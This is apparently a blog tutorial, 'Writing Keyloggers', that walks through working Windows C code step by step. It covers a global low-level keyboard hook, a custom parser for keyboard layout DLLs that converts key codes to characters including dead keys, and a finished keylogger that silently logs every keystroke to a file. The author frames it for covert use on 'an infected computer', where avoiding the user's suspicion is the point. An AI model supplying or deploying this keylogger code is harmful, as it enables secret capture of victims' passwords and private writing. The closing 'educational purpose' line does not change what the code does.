Loading...

Writing Keyloggers - Full Length Tutorial

Intercepting keystrokes Hooking Key Events There are different ways to catch the keys as they are being typed, but one of the most efficien...

Intercepting keystrokes

Hooking Key Events

There are different ways to catch the keys as they are being typed, but one of the most efficient is to monitor system events for key events. This is done with a hook, which forces Windows to call your own functions when a certain type of event happens.
First, let's see how you can set a hook to catch keyboard events, with SetWindowsHookEx():
=========================================================
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, 
(HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0); 
=========================================================
SetWindowsHookEx() returns a hook handle (HHOOK), which you should keep in order to unhook at a later time with UnhookWindowsHookEx(). The first argument is the type of hook you want to set, in this case, WH_KEYBOARD_LL for low-level keyboard events. The second argument is the hook procedure which will receive the events, you have to define it somewhere else in your program. The third argument is a module handle to the current module. The last argument is the thread ID for which this hook applies, by setting it to zero you associate the hook procedure with all running threads.
You should call SetWindowsHookEx() in your main function, and then enter this loop
===========================================================
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
===========================================================
which will receive and dispatch system messages. 
Next, you need to define the hook procedure:
================================================================================================
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%u\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

================================================================================================
I chose to call it KeyEvent, but you can rename it to whatever you want, as long as it stays relevant. The function arguments need to stay as they are, they are not yours to define. wParam is used to identify the event, while lParam receives information related to that event. Here, we are interested in catching WM_SYSKEYDOWN and WM_KEYDOWN, which gives the following line:
================================================================================================
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
================================================================================================
If this condition is true, then we know a key was pressed. Now we need to know which key was pressed. To do so, we first need to cast lParam to a KBDLLHOOKSTRUCT, and then retrieve the structure member vkCode, which is the virtual key code of the key:
================================================================================================
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
================================================================================================
The virtual key code of a key is a number associated with a key on your keyboard. It is not the character that is shown when you press that key. The conversion between the virtual key code and the character is covered later in this tutorial. However, the virtual key codes of keys with a letter correspond to the same letter, in capitals. At this stage, just to make sure it works, we can display the virtual key code (in hexadecimal) along with the same number casted to a character.
KeyEvent() should always return CallNextHookEx(hKeyHook, nCode, wParam, lParam), as it is part of a hook chain.
Here is the complete code for the first example, compile & run it as a console program.
================================================================================================
#include 
#include 

HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

UnhookWindowsHookEx(hKeyHook);
return 0;
}

================================================================================================
Type "hello", in another window than the keylogger, to ensure that it is working. Here is what you should see:
48 H
45 E
4C L
4C L
4F O
For a complete list of virtual key codes, see this page. The following MSDN pages may also be useful for a better understanding of the API used:SetWindowsHookEx() GetModuleHandle() Keyboard Notifications (WM_KEYDOWN + WM_SYSKEYDOWN) KBDLLHOOKSTRUCT Structure

Converting Virtual Key Codes to Characters

ToUnicode()

Virtual key codes need to be converted to their associated characters, according to the current keyboard layout. Microsoft provides API for this, which works fine to a certain degree. You can choose between ToAscii() and ToUnicode() depending on the character encoding you want to use. For different reasons, I will use ToUnicode in the following example, but you might as well modify it so that it uses ToAscii() with very few changes. Change KeyEvent() in the previous example so that you now have:
`
================================================================================================
BYTE keyState[256];
WCHAR buffer[16];


LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, 
sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

================================================================================================


The main difference here is that we send the virtual key codes to ToUnicode, which then outputs the resulting character in a buffer. The virtual key code and scan code are members of KBDLLHOOKSTRUCT, and you only need to pass them to ToUnicode(). The third argument is a 256 BYTE array that contains the current key states of all the keyboard. You then need to give a pointer to a buffer that receives the resulting character(s) and its size. The last argument is used to set flags, read the MSDN article if you want to use it.
Now, compile and run the latest example, and type "hello!". Here is what you should see:
68 h
65 e
6C l
6C l
6F o
0
31 1
For "hello", everything went fine, the correct characters were outputted. However, things go wrong when you press shift + 1 in order to get a '!' sign. The event corresponding to the shift key being pressed is first caught, with no character output (obviously). Then, the '1' key is pressed, and '1' is outputted, as if shift was never pressed. This is only one downside of ToUnicode(), the worse being to provide no support for dead keys, as mentioned on MSDN:
The parameters supplied to the ToUnicode function might not be sufficient to translate the virtual-key code because a previous dead key is stored in the keyboard layout.
I see the question coming: What is a dead key? Dead keys are used for accented letters, in languages where they are common such as French or German. For example, instead of having a key for o, u, o with umlaut (ö), u with umlaut (ü), the German keyboard layout would have a key for o, u, and one for the umlaut. To type a letter with an umlaut, one would need to press the umlaut key and then the base letter. When pressing the umlaut, nothing happens, that's why it is called a dead key. Even if it outputs nothing, it will affect the next character being outputted.
Now, why should you care about them, if you use a non-accented language such as English? There is another problem: ToUnicode() does not only provide no support for dead keys, it also interferes with them to the point of not being able to type accented letters anymore. This is very likely to reveal your presence on an infected computer, and as the problem affects keyboard input, the first thing the suspicious user will look for is a keylogger.
For example, if I try to type the French letter 'ê' in notepad while running the keylogger, here is what I get instead:
^^e
Ouch. We need to find a way to convert virtual key codes to characters, that would use toggle keys, modifier keys, and dead keys. Unless Microsoft reworks its implementation of ToUnicode(), we have to make our own improved version. This is going to be way longer than calling ToUnicode().

Getting current keyboard layout

Keyboard layouts on Windows aren't quite stored the same way as they do on other operating systems such as Linux. Instead of a nice text file, Windows use DLLs. Those DLLs are found in %WINDIR%\System32 and their names begin with "kbd". For instance, the US keyboard layout would be in C:\Windows\System32\kbdus.dll. In each of those keyboard layout DLLs, there is a function called KbdLayerDescriptor(). Don't look for it on MSDN, this function is undocumented. It returns a structure of data containing all information concerning the keyboard layout. What you can do, however, is download the Windows Driver Development Kit, which has few keyboard layout samples written in C along with a very important header file, kbd.h (that's where all the structures you will use are declared).
We first need to know where is the DLL of the current keyboard layout. Each keyboard layout has a name, which is a number used to identify it. You can retrieve this number with GetKeyboardLayoutName(). For example, the US keyboard layout has the number 00010402. The file name of the DLL where this keyboard layout is stored is given in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
For instance, we read "Layout File" in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00010402 to know that the US keyboard layout is in KBDUS.DLL. Here is a function that does it:
================================================================================================
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;

char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);

char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;

if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;

RegCloseKey(hKey);

return 1;
}

`
================================================================================================

Understanding how the data is structured

Now that we know the file name of the current keyboard layout DLL, we can load it. But before doing that, we'll take a look at what KbdLayerDescriptor() returns, a pointer to a KBDTABLES structure. Here is the definition of this structure, taken from kbd.h. It contains several other structures and data types defined in kbd.h. The way the data is stored can be very confusing, so make sure you understand this part.
================================================================================================
typedef struct tagKbdLayer {
/*
* Modifier keys
*/
PMODIFIERS pCharModifiers;

/*
* Characters
*/
PVK_TO_WCHAR_TABLE pVkToWcharTable; // ptr to tbl of ptrs to tbl

/*
* Diacritics
*/
PDEADKEY pDeadKey;

/*
* Names of Keys
*/
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;

/*
* Scan codes to Virtual Keys
*/
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0; // Scancode has E0 prefix
PVSC_VK pVSCtoVK_E1; // Scancode has E1 prefix

/*
* Locale-specific special processing
*/
DWORD fLocaleFlags;

/*
* Ligatures
*/
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;

/*
* Type and subtype. These are optional.
*/
DWORD dwType; // Keyboard Type
DWORD dwSubType; // Keyboard SubType: may contain OemId
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;
In KBDTABLES, there are three member structures that will we use. They are VK_TO_WCHAR_TABLE, MODIFIERS, and DEADKEY.
VK_TO_WCHAR_TABLE, with member structure VK_TO_WCHARS1
typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;

#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;

================================================================================================
Here is the tricky part. Each virtual key code can correspond to different characters, depending on modifier keys. The number of possible modifications is given by nModifications. For example, the 'A' key can give 'a' or 'A' depending on Shift and Caps Lock. Caps Lock is considered separately, as it is a toggle key. When toggled, it will do as if Shift was pressed, if the virtual key code is defined to be that way. As the 'A' key can lead to two possible modifier key combinations (either no modifier key or the Shift key), nModifications will hold 2 and the information will be in a VK_TO_WCHARS2 structure. The VK_TO_WCHAR_TABLE member pVkToWchars is simply a pointer meant to be cast to the correct PVK_TO_WCHARS type, according to the number of possible modifications.
MODIFIERS structure, with member structure VK_TO_BIT
`
================================================================================================
typedef struct {
PVK_TO_BIT pVkToBit; // Virtual Keys -> Mod bits
WORD wMaxModBits; // max Modification bit combination value
BYTE ModNumber[]; // Mod bits -> Modification Number
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;

typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;
DEADKEY structure
typedef struct {
DWORD dwBoth; // diacritic & char
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;

`================================================================================================

New API

Loading the keyboard layout is quite simple: we load the DLL, call KbdLayerDescriptor() and then make copies of the pointers we will use the most. As kbd.h is quite long and that we don't need much in it, I have copied only the required parts in a new header file kbdext.h. The new macros are added at the end of the file, and the function prototypes at the beginning. All new functions are defined in kbdext.c. This allows us to avoid relying on the Windows DDK. Here is the new API along with a simple program that uses it. Quickly read it to get a general idea of how it works. loadKeyboardLayout() uses the file name returned by getKeyboardLayoutFile() to find the DLL of the current keyboard layout and then loads it. This step must be done before calling convertVirtualKeyToWChar() (isn't that obvious?).
`
================================================================================================
//*******************************************************************
// Program: kbdext.c
// Source file: kbdext.h
// Author: Marc-André Moreau
// Last update: September 16th, 2008
// Description: Header File containing function prototypes as well as
// many definitions and macros for extended keyboard function. Some
// parts were taken directly from Microsoft's kbd.h header file that
// is shipped with the Windows Driver Development Kit. It was an
// inconvenient to download and install the whole Windows DDK only
// for kbd.h so I just copied everything that was needed here.
//*******************************************************************

#ifndef _KBD_EXT_
#define _KBD_EXT_

#include 
#include 

HINSTANCE loadKeyboardLayout();
int unloadKeyboardLayout(HINSTANCE kbdLibrary);
int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize);
int convertVirtualKeyToWChar(int virtualKey, PWCHAR out, PWCHAR buffer);

#if defined(BUILD_WOW6432)
#define KBD_LONG_POINTER __ptr64
#else
#define KBD_LONG_POINTER
#endif

#define CAPLOK 0x01
#define WCH_NONE 0xF000
#define WCH_DEAD 0xF001

typedef struct {
BYTE Vk;
BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;

typedef struct {
PVK_TO_BIT pVkToBit;
WORD wMaxModBits;
BYTE ModNumber[];
} MODIFIERS, *KBD_LONG_POINTER PMODIFIERS;

typedef struct _VSC_VK {
BYTE Vsc;
USHORT Vk;
} VSC_VK, *KBD_LONG_POINTER PVSC_VK;

typedef struct _VK_VSC {
BYTE Vk;
BYTE Vsc;
} VK_VSC, *KBD_LONG_POINTER PVK_VSC;

#define TYPEDEF_VK_TO_WCHARS(n) typedef struct _VK_TO_WCHARS##n { \
BYTE VirtualKey; \
BYTE Attributes; \
WCHAR wch[n]; \
} VK_TO_WCHARS##n, *KBD_LONG_POINTER PVK_TO_WCHARS##n;

TYPEDEF_VK_TO_WCHARS(1)
TYPEDEF_VK_TO_WCHARS(2)
TYPEDEF_VK_TO_WCHARS(3)
TYPEDEF_VK_TO_WCHARS(4)
TYPEDEF_VK_TO_WCHARS(5)
TYPEDEF_VK_TO_WCHARS(6)
TYPEDEF_VK_TO_WCHARS(7)
TYPEDEF_VK_TO_WCHARS(8)
TYPEDEF_VK_TO_WCHARS(9)
TYPEDEF_VK_TO_WCHARS(10)

typedef struct _VK_TO_WCHAR_TABLE {
PVK_TO_WCHARS1 pVkToWchars;
BYTE nModifications;
BYTE cbSize;
} VK_TO_WCHAR_TABLE, *KBD_LONG_POINTER PVK_TO_WCHAR_TABLE;

typedef struct {
DWORD dwBoth;
WCHAR wchComposed;
USHORT uFlags;
} DEADKEY, *KBD_LONG_POINTER PDEADKEY;

#define TYPEDEF_LIGATURE(n) typedef struct _LIGATURE##n { \
BYTE VirtualKey; \
WORD ModificationNumber; \
WCHAR wch[n]; \
} LIGATURE##n, *KBD_LONG_POINTER PLIGATURE##n;

TYPEDEF_LIGATURE(1)
TYPEDEF_LIGATURE(2)
TYPEDEF_LIGATURE(3)
TYPEDEF_LIGATURE(4)
TYPEDEF_LIGATURE(5)

typedef struct {
BYTE vsc;
WCHAR *KBD_LONG_POINTER pwsz;
} VSC_LPWSTR, *KBD_LONG_POINTER PVSC_LPWSTR;

typedef WCHAR *KBD_LONG_POINTER DEADKEY_LPWSTR;

typedef struct tagKbdLayer {
PMODIFIERS pCharModifiers;
PVK_TO_WCHAR_TABLE pVkToWcharTable;
PDEADKEY pDeadKey;
PVSC_LPWSTR pKeyNames;
PVSC_LPWSTR pKeyNamesExt;
WCHAR *KBD_LONG_POINTER *KBD_LONG_POINTER pKeyNamesDead;
USHORT *KBD_LONG_POINTER pusVSCtoVK;
BYTE bMaxVSCtoVK;
PVSC_VK pVSCtoVK_E0;
PVSC_VK pVSCtoVK_E1;
DWORD fLocaleFlags;
BYTE nLgMax;
BYTE cbLgEntry;
PLIGATURE1 pLigature;
DWORD dwType;
DWORD dwSubType;
} KBDTABLES, *KBD_LONG_POINTER PKBDTABLES;

typedef struct _VK_FUNCTION_PARAM {
BYTE NLSFEProcIndex;
ULONG NLSFEProcParam;
} VK_FPARAM, *KBD_LONG_POINTER PVK_FPARAM;

typedef struct _VK_TO_FUNCTION_TABLE {
BYTE Vk;
BYTE NLSFEProcType;
BYTE NLSFEProcCurrent;
BYTE NLSFEProcSwitch;
VK_FPARAM NLSFEProc[8];
VK_FPARAM NLSFEProcAlt[8];
} VK_F, *KBD_LONG_POINTER PVK_F;

typedef struct tagKbdNlsLayer {
USHORT OEMIdentifier;
USHORT LayoutInformation;
UINT NumOfVkToF;
PVK_F pVkToF;
INT NumOfMouseVKey;
USHORT *KBD_LONG_POINTER pusMouseVKey;
} KBDNLSTABLES, *KBD_LONG_POINTER PKBDNLSTABLES;

// Extended macros

#define INIT_PVK_TO_WCHARS(i, n) \
if((pKbd->pVkToWcharTable[i].cbSize - 2) / 2 == n) \
pVkToWchars##n = (PVK_TO_WCHARS##n)pKbd->pVkToWcharTable[i].pVkToWchars; \

#define SEARCH_VK_IN_CONVERSION_TABLE(n) \
i = 0; \
if(pVkToWchars##n && (mod < style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">{ \
do \
{ \
if(pVkToWchars##n[i].VirtualKey == virtualKey) \
{ \
if((pVkToWchars##n[i].Attributes == CAPLOK) && capsLock) { \
if(mod == shift) mod = 0; else mod = shift; } \
*outputChar = pVkToWchars##n[i].wch[mod]; \
charCount = 1; \
if(*outputChar == WCH_NONE) { charCount = 0; } \
else if(*outputChar == WCH_DEAD) \
{ \
*deadChar = pVkToWchars##n[i + 1].wch[mod]; \
charCount = 0; \
} \
break;\
} \
i++; \
} \
while(pVkToWchars##n[i].VirtualKey != 0); \
} \

#endif // _KBD_EXT_
//*******************************************************************
// Program: kbdext.c
// Source files: kbdext.c kbdext.h
// Author: Marc-André Moreau
// Last update: September 18th, 2008
// Description: Replacement API for Microsoft's ToUnicode() function
// You should load the current keyboard layout with loadKeyboardLayout()
// before calling convertVirtualKeyToWChar()
//*******************************************************************

#include "kbdext.h"

typedef PKBDTABLES(CALLBACK* KbdLayerDescriptor)(VOID);

PVK_TO_WCHARS1 pVkToWchars1 = NULL;
PVK_TO_WCHARS2 pVkToWchars2 = NULL;
PVK_TO_WCHARS3 pVkToWchars3 = NULL;
PVK_TO_WCHARS4 pVkToWchars4 = NULL;
PVK_TO_WCHARS5 pVkToWchars5 = NULL;
PVK_TO_WCHARS6 pVkToWchars6 = NULL;
PVK_TO_WCHARS7 pVkToWchars7 = NULL;
PVK_TO_WCHARS8 pVkToWchars8 = NULL;
PVK_TO_WCHARS9 pVkToWchars9 = NULL;
PVK_TO_WCHARS10 pVkToWchars10 = NULL;
PMODIFIERS pCharModifiers;
PDEADKEY pDeadKey;

HINSTANCE loadKeyboardLayout()
{
PKBDTABLES pKbd;
HINSTANCE kbdLibrary;
KbdLayerDescriptor pKbdLayerDescriptor = NULL;

char layoutFile[MAX_PATH];
if(getKeyboardLayoutFile(layoutFile, sizeof(layoutFile)) == -1)
return NULL;

char systemDirectory[MAX_PATH];
GetSystemDirectory(systemDirectory, MAX_PATH);

char kbdLayoutFilePath[MAX_PATH];
snprintf(kbdLayoutFilePath, MAX_PATH, "%s\\%s", systemDirectory, layoutFile);

kbdLibrary = LoadLibrary(kbdLayoutFilePath);

pKbdLayerDescriptor = (KbdLayerDescriptor)GetProcAddress(kbdLibrary, 
"KbdLayerDescriptor");

if(pKbdLayerDescriptor != NULL)
pKbd = pKbdLayerDescriptor();
else
return NULL;

int i = 0;
do
{
INIT_PVK_TO_WCHARS(i, 1)
INIT_PVK_TO_WCHARS(i, 2)
INIT_PVK_TO_WCHARS(i, 3)
INIT_PVK_TO_WCHARS(i, 4)
INIT_PVK_TO_WCHARS(i, 5)
INIT_PVK_TO_WCHARS(i, 6)
INIT_PVK_TO_WCHARS(i, 7)
INIT_PVK_TO_WCHARS(i, 8)
INIT_PVK_TO_WCHARS(i, 9)
INIT_PVK_TO_WCHARS(i, 10)
i++;
}
while(pKbd->pVkToWcharTable[i].cbSize != 0);

pCharModifiers = pKbd->pCharModifiers;
pDeadKey = pKbd->pDeadKey;

return kbdLibrary;
}

int unloadKeyboardLayout(HINSTANCE kbdLibrary)
{
if(kbdLibrary != 0)
return (FreeLibrary(kbdLibrary) != 0);
else
return 0;
}

int convertVirtualKeyToWChar(int virtualKey, PWCHAR outputChar, PWCHAR deadChar)
{
int i = 0;
short state = 0;
int shift = -1;
int mod = 0;
int charCount = 0;

WCHAR baseChar;
WCHAR diacritic;
*outputChar = 0;

int capsLock = (GetKeyState(VK_CAPITAL) & 0x1);

do
{
state = GetAsyncKeyState(pCharModifiers->pVkToBit[i].Vk);

if(pCharModifiers->pVkToBit[i].Vk == VK_SHIFT)
shift = i + 1; // Get modification number for Shift key

if(state & ~SHRT_MAX)
{
if(mod == 0)
mod = i + 1;
else
mod = 0; // Two modifiers at the same time!
}
i++;
}
while(pCharModifiers->pVkToBit[i].Vk != 0);

SEARCH_VK_IN_CONVERSION_TABLE(1)
SEARCH_VK_IN_CONVERSION_TABLE(2)
SEARCH_VK_IN_CONVERSION_TABLE(3)
SEARCH_VK_IN_CONVERSION_TABLE(4)
SEARCH_VK_IN_CONVERSION_TABLE(5)
SEARCH_VK_IN_CONVERSION_TABLE(6)
SEARCH_VK_IN_CONVERSION_TABLE(7)
SEARCH_VK_IN_CONVERSION_TABLE(8)
SEARCH_VK_IN_CONVERSION_TABLE(9)
SEARCH_VK_IN_CONVERSION_TABLE(10)

if(*deadChar != 0) // I see dead characters...
{
i = 0;
do
{
baseChar = (WCHAR)pDeadKey[i].dwBoth;
diacritic = (WCHAR)(pDeadKey[i].dwBoth >> 16);

if((baseChar == *outputChar) && (diacritic == *deadChar))
{
*deadChar = 0;
*outputChar = (WCHAR)pDeadKey[i].wchComposed;
}
i++;
}
while(pDeadKey[i].dwBoth != 0);
}

return charCount;
}

int getKeyboardLayoutFile(char* layoutFile, DWORD bufferSize)
{
HKEY hKey;
DWORD varType = REG_SZ;

char kbdName[KL_NAMELENGTH];
GetKeyboardLayoutName(kbdName);

char kbdKeyPath[51 + KL_NAMELENGTH];
snprintf(kbdKeyPath, 51 + KL_NAMELENGTH,
"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", kbdName);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCTSTR)kbdKeyPath, 0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
return -1;

if(RegQueryValueEx(hKey, "Layout File", NULL, &varType, layoutFile, &bufferSize) != ERROR_SUCCESS)
return -1;

RegCloseKey(hKey);

return 1;
}
//*******************************************************************
// Program: key.c
// Source files: key.c
// Author: Marc-André Moreau
// Last update: September 18th, 2008
// Description: Simple keylogger program for Windows, with support
// for UNICODE, modifier keys and dead characters
//*******************************************************************

#include "kbdext.h"

#include 
#include 

int nChar;
FILE* keylog;
WCHAR outputChar;
WCHAR deadChar;
HHOOK hKeyHook;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
nChar = convertVirtualKeyToWChar(kbdStruct.vkCode, (PWCHAR)&outputChar, (PWCHAR)&deadChar);

if(nChar > 0)
{
fwrite(&outputChar, 1, sizeof(WCHAR), keylog);
fflush(keylog);
}
}

return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
keylog = fopen("C:\\keylog.txt", "wb");

deadChar = 0;
HINSTANCE kbdLibrary = loadKeyboardLayout();

hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, GetModuleHandle(NULL), 0);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

UnhookWindowsHookEx(hKeyHook);
fclose(keylog);

return 0

}

================================================================================================
Two new variables have been introduced in our simple keylogger program: outputChar and deadChar, both of type WCHAR. They are used with convertVirtualKeyToWChar(). The first argument given to convertVirtualKeyToWChar() is the virtual key code. outputChar is where the resulting character will be stored. If the resulting character is a dead character, it will be stored in deadChar instead of outputChar, and convertVirtualKeyToWChar() will return 0 (no character output). You have to check that the number returned by convertVirtualKeyToWChar() is greater than 0, in order to ensure that there is something to output (the returned value should represent the number of characters outputted, which will be either 1 or 0 in this case). The same deadChar variable must be used over and over again, as it influences the next outputted character. As we assume no dead character was pressed right before the program is ran (or we simply cannot know), we initialize deadChar to 0. If deadChar is not initialized, you'll end up using trash data and outputChar might not be correct.
Now, compile the program as a Windows program (unless you still want a console window) and run it. This time, we do not output characters in the console window but in a unicode text file (C:\keylog.txt, change it to whatever you like). The reason is that the command prompt does not display unicode characters well. If your keyboard layout does not use dead characters, change to one that does. Now, try typing whatever you like, including special characters and dead characters. In my case, I wrote the following: "!@#{}()êâïçéà" which did output correctly in the text file. Please not that many non displayable characters will also be written to the file. For example, if you catch someone typing and then using backspace a couple of times, you will see those backspaces and what was written before it was erased. If you open the file in notepad, the enter key will appear as a white box, the reason being that even if the enter key corresponds to the new line character (\n), Notepad uses \r\n line endings. However, if you open the file with Wordpad, new line characters will be interpreted as line endings.
The above API was not tested with languages such as Japanese, Chinese, Korean, or any other language that uses something significantly different from an alphabet. I would not expect those languages to work with the current code, but it would not be hard to add support for it.
Information Source
Only for Educational Purpose!

Reactions: 

Post a Comment

emo-but-icon

Home item

Follow by Email

Recommend on Google

Advertisements

Advertisements

Popular Posts

Random Posts

Recent Posts

ADS

eXTReMe Tracker